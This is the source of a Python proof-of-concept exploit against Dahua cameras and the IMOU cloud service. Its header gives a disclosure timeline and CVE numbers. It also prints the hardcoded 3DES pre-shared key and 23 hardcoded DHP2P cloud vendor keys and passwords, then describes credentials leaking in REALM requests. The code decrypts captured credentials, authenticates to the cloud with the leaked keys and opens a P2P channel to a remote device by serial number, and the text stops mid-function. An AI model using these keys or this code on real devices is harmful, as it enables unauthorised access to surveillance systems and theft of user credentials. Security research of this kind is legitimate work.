/Dahua-3DES-IMOU-PoC.py

https://github.com/mcw0/PoC · Python · 1361 lines · 1189 code · 87 blank · 85 comment · 56 complexity · e25e443862c24c78a7d03a59cc259fae MD5 · raw file

  1. #!/usr/bin/env python3
  2. """
  3. Author: bashis <mcw noemail eu> 2020
  4. Subject: Dahua DES/3DES encrypt/decrypt, NetSDK credentials leaks, Cloud keys/passwords, DHP2P PoC
  5. 1. Dahua DES/3DES (broken) authentication implementation and PSK
  6. 2. Vulnerability: Dahua NetSDK leaking credentials (first 8 chars) from all clients in REALM request when using DVRIP and DHP2P protocol
  7. 3. PoC: Added simple TCP/37777 DVRIP listener to display decrypted credentials in clear text
  8. 4. Vulnerability: Dahua DHP2P Cloud protocol credentials leakage
  9. 5. Vulnerability: Hardcoded DHP2P Cloud keys/passwords for 23 different providers
  10. 6. PoC: Access to devices within DHP2P Cloud. PoC only made for Dahua IMOU
  11. -=[ #1 Dahua DES/3DES (broken) authentication implementation and PSK ]=-
  12. Dahua DES/3DES authentication implementation are broken by endianess bugs, marked below with 'Dahua endianness bug' in this script
  13. Replicated Dahua's implemenation, both encrypt and decrypt does work.
  14. Dahua 3DES pre-shared key (PSK): poiuytrewq
  15. -=[ #2 Dahua NetSDK leaking credentials (first 8 chars) from all clients in REALM request when using DVRIP and DHP2P protocol ]=-
  16. [References used below]
  17. 3DES Username: c4 a3 af 48 99 56 b6 b4 (admin)
  18. 3DES Password: 54 ab ae b6 01 21 d6 71 (donotuse)
  19. Note: The difference to login with 3DES or request REALM lays in the second byte of the two first bytes.
  20. Login: a0 00
  21. REALM: a0 01
  22. [DES/3DES Login]
  23. 00000000 a0 00 00 00 00 00 00 00 c4 a3 af 48 99 56 b6 b4 ···········H·V·· <= 3DES Username
  24. 00000010 54 ab ae b6 01 21 d6 71 05 02 00 01 00 00 a1 aa T····!·q········ <= 3DES Password
  25. [DVRIP REALM Request]
  26. 00000000 a0 01 00 00 00 00 00 00 c4 a3 af 48 99 56 b6 b4 ···········H·V·· <= 3DES Username
  27. 00000010 54 ab ae b6 01 21 d6 71 05 02 00 01 00 00 a1 aa T····!·q········ <= 3DES Password
  28. -=[ #3 Simple TCP/37777 DVRIP listener to display decrypted credentials in clear text ]=-
  29. To verify, fire up this script with argument: --poc_3des
  30. Then use slightly older version of ConfigTool, SmartPSS or something that use TCP/37777 DVRIP Protocol and connect to the script.
  31. [Example]
  32. $ ./Dahua-3DES-IMOU-PoC.py --poc_3des
  33. [*] [Dahua 3DES/IMOU PoC 2020 bashis <mcw noemail eu>]
  34. [+] Trying to bind to 0.0.0.0 on port 37777: Done
  35. [+] Waiting for connections on 0.0.0.0:37777: Got connection from 192.168.57.20 on port 49168
  36. [] Waiting for connections on 0.0.0.0:37777
  37. [+] Client username: admin
  38. [+] Client password: donotuse
  39. [*] Closed connection to 192.168.57.20 port 49168
  40. [*] All done
  41. $
  42. -=[ #4 Dahua DHP2P Cloud protocol credentials leakage ]=-
  43. Same packets as in DVRIP exist with Dahua DHP2P Cloud, but DVRIP is encapsulated within PTCP UDP packets.
  44. Lets look at DVRIP packet again;
  45. [DVRIP REALM Request]
  46. 00000000 a0 01 00 00 00 00 00 00 c4 a3 af 48 99 56 b6 b4 ···········H·V·· <= 3DES Username
  47. 00000010 54 ab ae b6 01 21 d6 71 05 02 00 01 00 00 a1 aa T····!·q········ <= 3DES Password
  48. And now dump of DHP2P packet;
  49. [DHP2P REALM Request]
  50. 00000000 50 54 43 50 00 00 00 18 00 00 00 14 00 00 ff eb PTCP············
  51. 00000010 00 00 00 1c 05 33 fe 32 10 00 00 20 36 ef 03 4a ·····3·2··· 6··J
  52. 00000020 00 00 00 00 a0 01 00 00 00 00 00 00 c4 a3 af 48 ···············H
  53. 00000030 99 56 b6 b4 54 ab ae b6 01 21 d6 71 05 02 00 01 ·V··T····!·q····
  54. 00000040 00 00 a1 aa
  55. If you now look very close, you will see exact same packet as in DVRIP;
  56. [DHP2P REALM Request]
  57. 00000000 50 54 43 50 00 00 00 18 00 00 00 14 00 00 ff eb PTCP············
  58. 00000010 00 00 00 1c 05 33 fe 32 10 00 00 20 36 ef 03 4a ·····3·2··· 6··J
  59. 00000020 00 00 00 00 [a0 01 00 00 00 00 00 00 c4 a3 af 48 ···············H <== DVRIP, 3DES Username
  60. 00000030 99 56 b6 b4 54 ab ae b6 01 21 d6 71 05 02 00 01 ·V··T····!·q···· <== DVRIP, 3DES Password
  61. 00000040 00 00 a1 aa]
  62. -=[ #5 Hardcoded DHP2P Cloud keys/passwords for 23 different providers ]=-
  63. [DHP2P Cloud keys/passwords]
  64. Below keys/passwords along with required usernames/FQDN/IPs where found hardcoded in 'P2PServer.exe' from self extracting archive
  65. https://web.imoulife.com/soft/P2PSurveillance_3.01.001.3.exe
  66. Note:
  67. This site do not work anymore, due to following statement on https://web.imoulife.com/:
  68. 'Due to service upgrade, P2P web services will be officially discontinued on April 30, 2020, we are sorry for the inconvenience.'
  69. YXQ3Mahe-5H-R1Z_ <============ Dahua/IMOU
  70. Napco_20160615-U<=66>!Kz7HQzxy
  71. CONWIN-20151111-KHTK
  72. dhp2ptest-20150421_ydfwkfb
  73. HiFocus-20150317_zy1
  74. Amcrest_20150106-oyjL
  75. Telefonica-20150209_ZLJ
  76. BurgBiz-20141224_xyh
  77. UYM5Tian-5Q-Q1Y_
  78. Sentient-20141117_ztc
  79. WatchNet-141117_qjs1
  80. TELETEC-140925-BSChw
  81. MEIKXXJJYKIKLKE_20140919
  82. NAPCO_JcifenW2s3
  83. KANGLE-140905-YSYhw
  84. aoersi-5H-R1Z_
  85. QY7TTVJ7vg-140523_cppLus
  86. QY7TTVJ7vg-140522_easyCoLoSo
  87. QY7TTVJ7vg-140422_ipTecNo
  88. QY7TTVJ7vg-140410_Q-See
  89. Stanley_20160704-3rb4tzBTZd
  90. Panasonic_4q$+UtRWr]J6X\$uyKY
  91. Da3k#kjA312
  92. Note: All providers using different entry FQDN/IPs.
  93. -=[ #6 Access to devices within DHP2P Cloud. PoC only made for Dahua IMOU ]=-
  94. [Probing Device]
  95. Note: XXXXXXXXXXXXXXX is the serial number of remote device (if S/N starts with letter, make it lowercase - some stupid bug)
  96. $ ./Dahua-3DES-IMOU-PoC.py --dhp2p XXXXXXXXXXXXXXX --probe
  97. [*] [Dahua 3DES/IMOU PoC 2020 bashis <mcw noemail eu>]
  98. [+] Device 'XXXXXXXXXXXXXXX': Online
  99. [*] All done
  100. $
  101. [Request REALM/RANDOM from Device]
  102. Note: This PoC will only connect via Dahua DHP2P IMOU Cloud and request REALM and RANDOM from remote device.
  103. $ ./Dahua-3DES-IMOU-PoC.py --dhp2p XXXXXXXXXXXXXXX
  104. [*] [Dahua 3DES/IMOU PoC 2020 bashis <mcw noemail eu>]
  105. [+] Device 'XXXXXXXXXXXXXXX': Online
  106. [+] WSSE Authentication: Success
  107. [+] Opening connection to 169.197.116.85 on port 27077: Done
  108. [+] Setup P2P channel to 'XXXXXXXXXXXXXXX': Success
  109. [*] Remote Internal IP/port: 192.168.57.20,192.168.0.108:51980
  110. [*] Remote External IP/port: xxx.xxx.xxx.xxx:51980
  111. [*] DHP2P Agent IP/port to remote: 169.197.116.85:27077
  112. [+] Punching STUN hole: Success
  113. [+] PTCP Connection: Success
  114. [+] Received: CONN
  115. [+] Request REALM:: Success
  116. Realm:Login to XXXXXXXXXXXXXXX
  117. Random:1852772904
  118. [Disclaimer]
  119. From here, a UDP protocol (called 'PTCP' AKA TCP-Alike-Over-UDP) is needed.
  120. Have a nice day
  121. /bashis
  122. [*] All done
  123. $
  124. [Disclosure Timeline]
  125. 10/02/2020: Initated contact with Dahua PSIRT
  126. 13/02/2020: Pinged Dahua PSIRT after no reply
  127. 13/02/2020: Dahua PSIRT ACK
  128. 15/02/2020: Pinged Dahua PSIRT
  129. 15/02/2020: Dahua PSIRT replied they currently analyzing
  130. 16/02/2020: Clarified to Dahua PSIRT that 23 different cloud suppliers are affected
  131. 17/02/2020: Dahua PSIRT asked where and how I found cloud keys
  132. 18/02/2020: Provided additional details
  133. 26/02/2020: Received update from Dahua PSIRT for both vulnerabilites, where DES/3DES had apperantly been reported earlier by Tenable as 'login replay'
  134. 26/02/2020: Clarified again that DES/3DES issue exist both with DVRIP client traffic (such as ConfigTool, SmartPSS... etc.) and Cloud client traffic (such as IMOU, IMOU Life clients... etc.), as the DVRIP protocol is present in both
  135. 26-28/02/2020: Researched about Dahua PSIRT information about Tenable earlier report and found: https://www.tenable.com/security/research/tra-2019-36
  136. 28/02/2020: Clarified again with Dahua PSIRT about credential leakage from clients by default during REALM request, and not only during 'login'
  137. 28/02/2020: Dahua PSIRT acknowledged and stated to assign CVE with credit to both Tenable and myself
  138. 28/02/2020: Reached out to Tenable to share information with the researcher of 'login replay' about the upcoming CVE
  139. 16/04/2020: Pinged Dahua PSIRT
  140. 17/04/2020: Dahua PSIRT responded with CVEs and told they will realease security advisory on May 10, 2020
  141. - CVE-2019-9682: DES / 3DES vulnerability
  142. - CVE-2020-9501: 23 cloud keys disclosure
  143. 06/05/2020: Dahua PSIRT sent their security advisory, with updated date for release May 12, 2020.
  144. 09/05/2020: Full Disclosure
  145. [Software updates]
  146. SmartPSS: https://www.dahuasecurity.com/support/downloadCenter/softwares?id=2&child=201
  147. NetSDK: https://www.dahuasecurity.com/support/downloadCenter/softwares?child=3
  148. Mobile apps: https://www.dahuasecurity.com/support/downloadCenter/softwares?child=472
  149. """
  150. import sys
  151. import json
  152. import argparse
  153. import inspect
  154. import datetime
  155. import tzlocal # sudo pip3 install tzlocal
  156. import xmltodict # sudo pip3 install xmltodict
  157. from pwn import * # https://github.com/Gallopsled/pwntools
  158. global debug
  159. # For Dahua DES/3DES
  160. ENCRYPT = 0x00
  161. DECRYPT = 0x01
  162. # For PTCP PoC
  163. PTCP_SYN = '0002ffff'
  164. PTCP_CONN = '11000000'
  165. RED = '\033[91m'
  166. GREEN = '\033[92m'
  167. BLUE = '\033[94m'
  168. #
  169. # DVRIP have different codes in their protocols
  170. #
  171. def DahuaProto(proto):
  172. proto = binascii.b2a_hex(proto.encode('latin-1')).decode('latin-1')
  173. headers = [
  174. 'f6000000', # JSON Send
  175. 'f6000068', # JSON Recv
  176. 'a0050000', # DVRIP login Send Login Details
  177. 'a0010060', # DVRIP Send Request Realm
  178. 'b0000068', # DVRIP Recv
  179. 'b0010068', # DVRIP Recv
  180. ]
  181. for code in headers:
  182. if code[:6] == proto[:6]:
  183. return True
  184. return False
  185. def DEBUG(direction, packet):
  186. if debug:
  187. packet = packet.encode('latin-1')
  188. # Print send/recv data and current line number
  189. print("[BEGIN {}] <{:-^60}>".format(direction, inspect.currentframe().f_back.f_lineno))
  190. if (debug == 2) or (debug == 3):
  191. print(hexdump(packet))
  192. if (debug == 1) or (debug == 3):
  193. if packet[0:8] == p64(0x2000000044484950,endian='big') or DahuaProto(packet[0:4].decode('latin-1')):
  194. header = packet[0:32]
  195. data = packet[32:]
  196. if header[0:8] == p64(0x2000000044484950,endian='big'): # DHIP
  197. print("\n-HEADER- -DHIP- SessionID ID RCVLEN EXPLEN")
  198. elif DahuaProto(packet[0:4].decode('latin-1')): # DVRIP
  199. print("\n PROTO RCVLEN ID EXPLEN SessionID")
  200. print("{}|{}|{}|{}|{}|{}|{}|{}".format(
  201. binascii.b2a_hex(header[0:4]).decode('latin-1'),binascii.b2a_hex(header[4:8]).decode('latin-1'),
  202. binascii.b2a_hex(header[8:12]).decode('latin-1'),binascii.b2a_hex(header[12:16]).decode('latin-1'),
  203. binascii.b2a_hex(header[16:20]).decode('latin-1'),binascii.b2a_hex(header[20:24]).decode('latin-1'),
  204. binascii.b2a_hex(header[24:28]).decode('latin-1'),binascii.b2a_hex(header[28:32]).decode('latin-1')))
  205. if data:
  206. print("{}\n".format(data.decode('latin-1')))
  207. elif packet: # Unknown packet, do hexdump
  208. log.failure("DEBUG: Unknow packet")
  209. print(hexdump(packet))
  210. print("[ END {}] <{:-^60}>".format(direction, inspect.currentframe().f_back.f_lineno))
  211. return
  212. #
  213. # Based on: https://gist.github.com/bebehei/5e3357e5a1bf46ec381379ef8f525c7f
  214. #
  215. def DHP2P_WSSE_Generate(user_name, user_key, uri, data):
  216. CSeq = random.randrange(2 ** 31)
  217. drand = random.randrange(2 ** 31)
  218. curdate = datetime.datetime.utcnow().isoformat(timespec='seconds') + 'Z' # Always use UTC for created
  219. #
  220. # Dahua WSSE auth
  221. #
  222. PWD = str(drand) + str(curdate) + 'DHP2P:' + user_name +':'+ user_key
  223. hash_digest = hashlib.sha1()
  224. hash_digest.update(PWD.encode('ascii'))
  225. x_wsse = ', '.join([ '{REQ} {URI} HTTP/1.1\r\n'
  226. 'CSeq: {CSeq}\r\n'
  227. 'Authorization: WSSE profile="UsernameToken"\r\n'
  228. 'X-WSSE: UsernameToken Username="{user}"',
  229. 'PasswordDigest="{digest}"',
  230. 'Nonce="{nonce}"',
  231. 'Created="{created}"\r\n'])
  232. x_wsse = x_wsse.format(
  233. REQ='DHGET' if not data else 'DHPOST',
  234. URI=uri,
  235. CSeq=CSeq,
  236. user=user_name,
  237. digest=base64.b64encode(hash_digest.digest()).decode('ascii'),
  238. nonce=drand,
  239. created=curdate,
  240. )
  241. if data:
  242. x_wsse += 'Content-Type: \r\n'
  243. x_wsse += 'Content-Length: {}\r\n'.format(len(data))
  244. x_wsse += '\r\n'
  245. x_wsse += data
  246. else:
  247. x_wsse += '\r\n'
  248. return x_wsse, int(CSeq)
  249. #
  250. # --------- [END] ---------
  251. #
  252. def HTTP_header(response):
  253. rxHeaderJSON = {}
  254. response = response.split('\r\n\r\n')
  255. rxHeader = response[0].split('\r\n')
  256. for HEAD in range(0,len(rxHeader)):
  257. if HEAD == 0:
  258. tmp = rxHeader[HEAD].split()
  259. rxHeaderJSON.update({"version":tmp[0]})
  260. rxHeaderJSON.update({"code":int(tmp[1])})
  261. rxHeaderJSON.update({"status":' '.join(tmp[2:])})
  262. else:
  263. tmp = rxHeader[HEAD].split(": ") #
  264. rxHeaderJSON.update({tmp[0].lower(): int(tmp[1]) if (tmp[0].lower() == 'content-length') or (tmp[0].lower() == 'cseq') else tmp[1]})
  265. return response[1], rxHeaderJSON
  266. #
  267. # The DES/3DES encrypt/decrypt code in the bottom of this script.
  268. #
  269. def Dahua_Gen0_hash(data, mode):
  270. # "secret" key for ChengDu JiaFa
  271. # key = b'OemChengDuJiaFa' # 3DES
  272. # "secret" key for Dahua Technology
  273. key = b'poiuytrewq' # 3DES
  274. if len(data) > 8: # Max 8 bytes!
  275. log.failure("'{}' is more than 8 bytes, this will most probaly fail".format(data))
  276. data = data[0:8]
  277. data_len = len(data)
  278. key_len = len(key)
  279. #
  280. # padding key with 0x00 if needed
  281. #
  282. if key_len <= 8:
  283. if not (key_len % 8) == 0:
  284. key += p8(0x0) * (8 - (key_len % 8)) # DES (8 bytes)
  285. elif key_len <= 16:
  286. if not (key_len % 16) == 0:
  287. key += p8(0x0) * (16 - (key_len % 16)) # 3DES DES-EDE2 (16 bytes)
  288. elif key_len <= 24:
  289. if not (key_len % 24) == 0:
  290. key += p8(0x0) * (24 - (key_len % 24)) # 3DES DES-EDE3 (24 bytes)
  291. #
  292. # padding data with 0x00 if needed
  293. #
  294. if not (data_len % 8) == 0:
  295. data += p8(0x0).decode('latin-1') * (8 - (data_len % 8))
  296. if key_len == 8:
  297. k = des(key)
  298. else:
  299. k = triple_des(key)
  300. if mode == ENCRYPT:
  301. data = k.encrypt(data.encode('latin-1'))
  302. else:
  303. data = k.decrypt(data)
  304. data = data.decode('latin-1').strip('\x00') # Strip all 0x00 padding
  305. return data
  306. class DHP2P_P2P_Client(object):
  307. def __init__(self, USER, SERVER, PORT, KEY, DEVICE):
  308. #
  309. # DHP2P specific
  310. #
  311. self.USER = USER
  312. self.KEY = KEY
  313. self.SERVER = SERVER
  314. self.PORT = PORT
  315. #
  316. # Device we connect to
  317. #
  318. self.DEVICE = DEVICE
  319. #
  320. # self.sock: Socket for WSSE and probe traffic
  321. #
  322. self.sock = None
  323. #
  324. # STUN specific
  325. #
  326. self.BINDING_REQUEST_SIGN = b'\x00\x01'
  327. self.BINDING_RESPONSE_ERROR = b'\x01\x11'
  328. self.BINDING_RESPONSE_SUCCESS = b'\x01\x01'
  329. #
  330. # Will be set to True when we receive PTCP CONN
  331. # Will be set to False when we receive PTCP DISC
  332. #
  333. self.CONNECT = False
  334. #
  335. # RemoteListenID/LocalListenID is calculated how much data has been sent and received
  336. #
  337. self.SentToRemoteLEN = 0
  338. self.RecvToLocalLEN = 0
  339. self.RemoteListenID = p32(self.SentToRemoteLEN, endian='big')
  340. self.LocalListenID = p32(self.RecvToLocalLEN, endian='big')
  341. #
  342. #
  343. # 'RemoteMessageID' is required to repost from remote
  344. # 'LocalMessageID' can be used for own validity checks
  345. #
  346. self.RemoteMessageID = p32(0, endian='big') # Generated by remote
  347. self.LocalMessageID = p32(0, endian='big') # self.LocalMessageID + self.SentToRemoteLEN
  348. #
  349. # Used to identify incoming packets
  350. #
  351. self.PacketLEN = None
  352. self.PacketType = None
  353. #
  354. # self.DHP2P_PTCP_PacketID() use this to generate our PacketID
  355. #
  356. self.SentPacketID = 0
  357. #
  358. # Not really used for something now, can be used for checking
  359. #
  360. self.RecvPacketID = None
  361. #
  362. # Will follow all PTCP packets during the session
  363. #
  364. self.RealmSID = p32(random.randrange(2 ** 32), endian='big')
  365. socket.setdefaulttimeout(3)
  366. def DHP2P_P2P_UDP(self, packet, P2P):
  367. TRY = 0
  368. if debug:
  369. log.success("Sending to: {}:{}".format(self.SERVER,str(self.PORT)))
  370. log.info("Sending:\n")
  371. print(packet)
  372. # for future STUN and P2P traffic
  373. if P2P == True:
  374. self.remote = remote(host=self.SERVER,port=self.PORT,typ='udp')
  375. while True:
  376. try:
  377. # Send data
  378. self.remote.send(packet.encode('latin-1'))
  379. # Receive response
  380. data = self.remote.recv()
  381. data = data.decode('latin-1')
  382. if debug:
  383. log.info("Receive:\n")
  384. print(data)
  385. break
  386. except Exception as e:
  387. if TRY == 3:
  388. log.failure(format(e))
  389. self.remote.close()
  390. return False
  391. log.info("Trying future STUN and P2P: {}".format(TRY))
  392. TRY += 1
  393. pass
  394. else:
  395. # For normal communication
  396. self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  397. server_address = (self.SERVER, self.PORT)
  398. while True:
  399. try:
  400. # Send data
  401. sent = self.sock.sendto(packet.encode('utf-8'), server_address)
  402. # Receive response
  403. data, server = self.sock.recvfrom(4096)
  404. data = data.decode('latin-1')
  405. if debug:
  406. log.info("Receive:\n")
  407. print(data)
  408. break
  409. except Exception as e:
  410. if TRY == 3:
  411. log.failure(format(e))
  412. self.sock.close()
  413. return False
  414. log.info("Trying: {}".format(TRY))
  415. TRY += 1
  416. pass
  417. packet = HTTP_header(data)
  418. #
  419. # Return answer if we only probing for device
  420. #
  421. if self.probe:
  422. return packet
  423. if len(packet[1]):
  424. #
  425. # Online: HTTP/1.1 100 Trying
  426. #
  427. if packet[1].get('code') == 100:
  428. device = log.progress("Setup P2P channel to '{}'".format(self.DEVICE))
  429. device.status(self.color("Trying to setup...",BLUE))
  430. if debug:
  431. log.info("Received:\n")
  432. print(json.dumps({'header':packet[1],
  433. 'data':json.loads(json.dumps(xmltodict.parse(packet[0]))) if len(packet[0]) else None,
  434. 'rhost': server[0],
  435. 'rport': server[1]
  436. },indent=4))
  437. #
  438. # Wait for 'Server Nat Info!'
  439. #
  440. try:
  441. while packet[1].get('code') != 200:
  442. data, server = self.sock.recvfrom(4096)
  443. DEBUG("RECV",data.decode('latin-1'))
  444. # We can receive STUN data before 'Server Nat Info!'
  445. if self.CheckSTUNResponse(data):
  446. log.info("BINDING_REQUEST_SIGN from: {}:{}".format(self.color(server[0],BLUE),self.color(server[1],BLUE) ))
  447. continue
  448. data = data.decode('latin-1')
  449. packet = HTTP_header(data)
  450. except Exception as e:
  451. device.error(format(e))
  452. if self.sock:
  453. self.sock.close()
  454. return False
  455. device.success(self.color("Success",GREEN))
  456. #
  457. # Offline: HTTP/1.1 404 Not Found
  458. #
  459. elif packet[1].get('code') == 404:
  460. device.failure(self.color("Gone offline?",RED))
  461. if self.sock:
  462. self.sock.close()
  463. if debug:
  464. log.info("Received:\n")
  465. print(json.dumps({'header':packet[1],
  466. 'data':json.loads(json.dumps(xmltodict.parse(packet[0]))) if len(packet[0]) else None,
  467. 'rhost': self.SERVER,
  468. 'rport': self.PORT,
  469. },indent=4))
  470. return {'header':packet[1],
  471. 'data':json.loads(json.dumps(xmltodict.parse(packet[0]))) if len(packet[0]) else None,
  472. 'rhost': self.SERVER,
  473. 'rport': self.PORT,
  474. }
  475. def CheckSTUNResponse(self,response):
  476. if response[0:2] == self.BINDING_REQUEST_SIGN:
  477. if debug:
  478. print ('BINDING_REQUEST_SIGN')
  479. return True
  480. elif response[0:2] == self.BINDING_RESPONSE_ERROR:
  481. print ('BINDING_RESPONSE_ERROR')
  482. return False
  483. elif response[0:2] == self.BINDING_RESPONSE_SUCCESS:
  484. if debug:
  485. print ('BINDING_RESPONSE_SUCCESS')
  486. return True
  487. else:
  488. return False
  489. def color(self,text,color):
  490. return "{}{}\033[0m".format(color,text)
  491. def DHP2P_P2P_ProbeDevice(self):
  492. self.probe = True
  493. probe = log.progress("Device '{}'".format(self.DEVICE))
  494. query = None
  495. URI = '/probe/device/{}'.format(self.DEVICE)
  496. WSSE, CSeq = DHP2P_WSSE_Generate(self.USER, self.KEY, URI, query)
  497. probe.status(self.color("Trying...",BLUE))
  498. response = self.DHP2P_P2P_UDP(WSSE, False)
  499. if response[1].get('code') == 200:
  500. probe.success(self.color("Online",GREEN))
  501. response = True
  502. elif response[1].get('code') == 404:
  503. probe.failure(self.color("Offline",RED))
  504. response = False
  505. else:
  506. probe.failure(self.color(response,RED))
  507. response = False
  508. self.probe = False
  509. return response
  510. def DHP2P_P2P_WSSE(self):
  511. wsse = log.progress("WSSE Authentication")
  512. self.USER = "P2PClient"
  513. query = None
  514. URI = '/online/relay'
  515. WSSE, CSeq = DHP2P_WSSE_Generate(self.USER, self.KEY, URI, query)
  516. wsse.status(URI)
  517. response = self.DHP2P_P2P_UDP(WSSE, False)
  518. if not response:
  519. return False
  520. if not response.get("header").get("code") == 200:
  521. print (json.dumps(response,indent=4))
  522. print (WSSE)
  523. return False
  524. self.SAVED_SERVER = response.get('rhost')
  525. self.SAVED_PORT = response.get('rport')
  526. self.SERVER = response.get('data').get('body').get('Address').split(':')[0]
  527. self.PORT = int(response.get('data').get('body').get('Address').split(':')[1])
  528. #
  529. # ================
  530. #
  531. self.USER = ""
  532. query = None
  533. URI = '/relay/agent'
  534. WSSE, CSeq = DHP2P_WSSE_Generate(self.USER, self.KEY, URI, query)
  535. wsse.status(URI)
  536. response = self.DHP2P_P2P_UDP(WSSE, False)
  537. if not response:
  538. return False
  539. if debug:
  540. print (json.dumps(response,indent=4))
  541. self.RELAY_SERVER = response.get('data').get('body').get('Agent').split(':')[0]
  542. self.RELAY_PORT = int(response.get('data').get('body').get('Agent').split(':')[1])
  543. self.SERVER = self.RELAY_SERVER
  544. self.PORT = self.RELAY_PORT
  545. #
  546. # ================
  547. #
  548. self.USER = "P2PClient"
  549. query = '<body><Client>:0</Client></body>'
  550. URI = '/relay/start/{}'.format(response.get('data').get('body').get('Token'))
  551. WSSE, CSeq = DHP2P_WSSE_Generate(self.USER, self.KEY, URI, query)
  552. wsse.status(URI)
  553. response = self.DHP2P_P2P_UDP(WSSE, True)
  554. if not response:
  555. return False
  556. if debug:
  557. print (json.dumps(response,indent=4))
  558. SID = response.get('data').get('body').get('SID')
  559. TIMEOUT = response.get('data').get('body').get('Time')
  560. self.USER = "P2PClient"
  561. query = '<body><Identify>0 0 0 0 0 0 0 0</Identify><PubAddr>{}:{}</PubAddr></body>\r\n'.format(self.SERVER,self.PORT)
  562. URI = '/device/{}/p2p-channel'.format(self.DEVICE)
  563. WSSE, CSeq = DHP2P_WSSE_Generate(self.USER, self.KEY, URI, query)
  564. self.SERVER = self.SAVED_SERVER
  565. self.PORT = self.SAVED_PORT
  566. wsse.status(URI)
  567. response = self.DHP2P_P2P_UDP(WSSE, False)
  568. if not response:
  569. return False
  570. # Identify = response.get('data').get('body').get('Identify')
  571. # IpEncrpt = response.get('data').get('body').get('IpEncrpt')
  572. LocalAddr = response.get('data').get('body').get('LocalAddr')
  573. # NatValueT = response.get('data').get('body').get('NatValueT')
  574. PubAddr = response.get('data').get('body').get('PubAddr')
  575. # Relay = response.get('data').get('body').get('Relay')
  576. # version = response.get('data').get('body').get('version')
  577. log.info("Remote Internal IP/port: {}".format(self.color(LocalAddr,BLUE)))
  578. log.info("Remote External IP/port: {}".format(self.color(PubAddr,BLUE)))
  579. log.info("DHP2P Agent IP/port to remote: {}:{}".format(self.color(self.RELAY_SERVER,BLUE), self.color(self.RELAY_PORT,BLUE)))
  580. if debug:
  581. print (json.dumps(response,indent=4))
  582. wsse.success(self.color("Success",GREEN))
  583. return True
  584. #
  585. # Now we starting an STUN (Session Traversal Utilities through Network Address Translators) session
  586. #
  587. def DHP2P_P2P_Stun(self):
  588. stun = log.progress("Punching STUN hole")
  589. stun.status("Trying...")
  590. response = self.remote.recv()
  591. self.remote.clean() # clean the tube
  592. Packet = self.BINDING_RESPONSE_SUCCESS + response[2:24] + b'\x00' * 8 + response[32:]
  593. self.remote.send(Packet)
  594. #
  595. # Remote will send multiple responses, clean the tube after success
  596. #
  597. response = self.remote.recv(timeout=4)
  598. #
  599. # Not stable check below ...
  600. #
  601. # if not response[0:2] == self.BINDING_RESPONSE_SUCCESS:
  602. # stun.failure("Failed to bind")
  603. # return False
  604. self.remote.clean() # clean the tube
  605. stun.success(self.color("Success",GREEN))
  606. return True
  607. def DHP2P_P2P_PTCP(self):
  608. ptcp = log.progress("PTCP Connection")
  609. #
  610. # Used data relocated to PTCP_SEND() function
  611. #
  612. ptcp.status("SYN")
  613. if not self.DHP2P_PTCP_P2P(None,PTCP_SYN):
  614. ptcp.failure("SYN-ACK")
  615. return False
  616. ptcp.status("SYN-ACK")
  617. ptcp.status("CONN")
  618. if not self.DHP2P_PTCP_P2P(None,PTCP_CONN):
  619. ptcp.failure("CONN")
  620. return False
  621. ptcp.success(self.color("Success",GREEN))
  622. realm = log.progress("Request REALM")
  623. realm.status("Trying")
  624. #
  625. # PoC: DVRIP Request of REALM + RANDOM
  626. #
  627. REALM = p32(0xa0010000,endian='big') + (p8(0x00) * 20) + p64(0x050201010000a1aa,endian='big')
  628. data = self.DHP2P_PTCP_P2P(REALM,None)
  629. if not len(data):
  630. realm.failure("Failure")
  631. return False
  632. #
  633. # Print only REALM data, skip DVRIP 32 bytes binary header
  634. #
  635. print(data[32:])
  636. realm.success(self.color("Success",GREEN))
  637. print("""
  638. [Disclaimer]
  639. From here, a UDP protocol (called 'PTCP' AKA TCP-Alike-Over-UDP) is needed.
  640. Have a nice day
  641. /bashis
  642. """)
  643. return True
  644. def DHP2P_PTCP_P2P(self, data, DHP2P_Type):
  645. self.LocalMessageID = p32(int(binascii.b2a_hex(self.LocalMessageID),16) + self.SentToRemoteLEN,endian='big')
  646. #
  647. # PTCP SYN / SYN-ACK always start with this
  648. #
  649. _PTCP_SYN = b'\x00\x02\xff\xff'
  650. Packet = b'PTCP' + self.RemoteListenID + self.LocalListenID + (_PTCP_SYN if DHP2P_Type == PTCP_SYN else p16(0x0) + self.DHP2P_PTCP_PacketID(self.SentPacketID)) + self.LocalMessageID + self.RemoteMessageID
  651. if not DHP2P_Type == PTCP_SYN:
  652. self.remote.send(Packet)
  653. self.SentToRemoteLEN += len(Packet[24:])
  654. if DHP2P_Type == PTCP_SYN:
  655. data = '\x00\x03\x01\x00'
  656. Packet = Packet + data.encode('latin-1')
  657. elif DHP2P_Type == PTCP_CONN:
  658. _PTCP_CONN = '\x11\x00\x00\x00'
  659. data = '\x00\x00\x00\x00\x00\x00\x93\x91\x7f\x00\x00\x01'
  660. Packet = Packet + _PTCP_CONN.encode('latin-1') + self.RealmSID + data.encode('latin-1')
  661. else:
  662. #
  663. # DVRIP packet's from main function
  664. #
  665. Packet = Packet + p32(len(data) + 0x10000000, endian='big') + self.RealmSID + p32(0x0) + data
  666. if data:
  667. DEBUG("SEND",Packet.decode('latin-1'))
  668. self.remote.send(Packet)
  669. self.SentToRemoteLEN += len(Packet[24:])
  670. return self.DHP2P_PTCP_RECV()
  671. def DHP2P_PTCP_RECV(self):
  672. data = []
  673. try:
  674. while True:
  675. response = self.remote.recv()
  676. DEBUG("RECV",response.decode('latin-1'))
  677. self.RecvPacketID = response[12:16]
  678. self.RemoteMessageID = response[16:20]
  679. self.LocalMessageID = response[20:24]
  680. if len(response) > 24:
  681. if self.LocalListenID == response[4:8]:
  682. self.RecvToLocalLEN += len(response[24:])
  683. self.SentPacketID += len(response[24:]) # used to calculate PacketID
  684. self.RemoteListenID = p32(self.SentToRemoteLEN, endian='big')
  685. self.LocalListenID = p32(self.RecvToLocalLEN, endian='big')
  686. self.PacketLEN = response[24:28]
  687. self.PacketType = response[36:40]
  688. #
  689. # "SYN/SYN-ACK"
  690. #
  691. if binascii.b2a_hex(response[24:]).decode('latin-1') == '00030100':
  692. return True
  693. #
  694. # CONN / DISC
  695. #
  696. elif self.PacketLEN == b'\x12\x00\x00\x00' and self.PacketType == b'CONN':
  697. log.success("Received: {}".format(self.color("CONN",GREEN)))
  698. self.CONNECT = True
  699. return True
  700. elif self.PacketLEN == b'\x12\x00\x00\x00' and self.PacketType == b'DISC':
  701. log.failure("Received: {}".format(self.color("DISC",RED)))
